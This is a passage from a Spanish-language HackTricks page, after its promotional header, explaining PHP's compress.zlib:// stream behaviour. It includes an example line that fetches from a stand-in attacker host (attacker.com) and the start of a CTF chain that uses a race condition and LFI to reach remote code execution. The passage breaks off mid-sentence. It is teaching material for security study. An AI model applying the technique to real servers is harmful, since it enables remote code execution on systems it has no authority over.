☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! - Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family) - Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) - **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## `compress.zlib://` y `PHP_STREAM_PREFER_STDIO` Un archivo abierto utilizando el protocolo `compress.zlib://` con la bandera `PHP_STREAM_PREFER_STDIO` puede continuar escribiendo datos que llegan a la conexión más tarde en el mismo archivo. Esto significa que una llamada como: ```php file_get_contents("compress.zlib://http://attacker.com/file") ``` Enviaremos una solicitud pidiendo http://attacker.com/file, luego el servidor podría responder la solicitud con una respuesta HTTP válida, mantener la conexión abierta y enviar datos adicionales algún tiempo después que también se escribirán en el archivo. Puede ver esa información en esta parte del código php-src en main/streams/cast.c: ```c /* Use a tmpfile and copy the old streams contents into it */ if (flags & PHP_STREAM_PREFER_STDIO) { *newstream = php_stream_fopen_tmpfile(); } else { *newstream = php_stream_temp_new(); } ``` ## Condición de Carrera a RCE Este CTF se resolvió utilizando el truco anterior. El atacante hará que el servidor víctima abra una conexión leyendo un archivo desde el servidor del atacante utilizando el protocolo `compress.zlib`. Mientras esta conexión exista, el atacante exfiltrará la ruta al archivo temporal creado (que es filtrado por el servidor). Mientras la conexión siga abierta, el atacante explotará una LFI cargando el archivo temporal que controla. Sin embargo, hay una comprobación en el servidor web que impide la carga de archivos que contienen `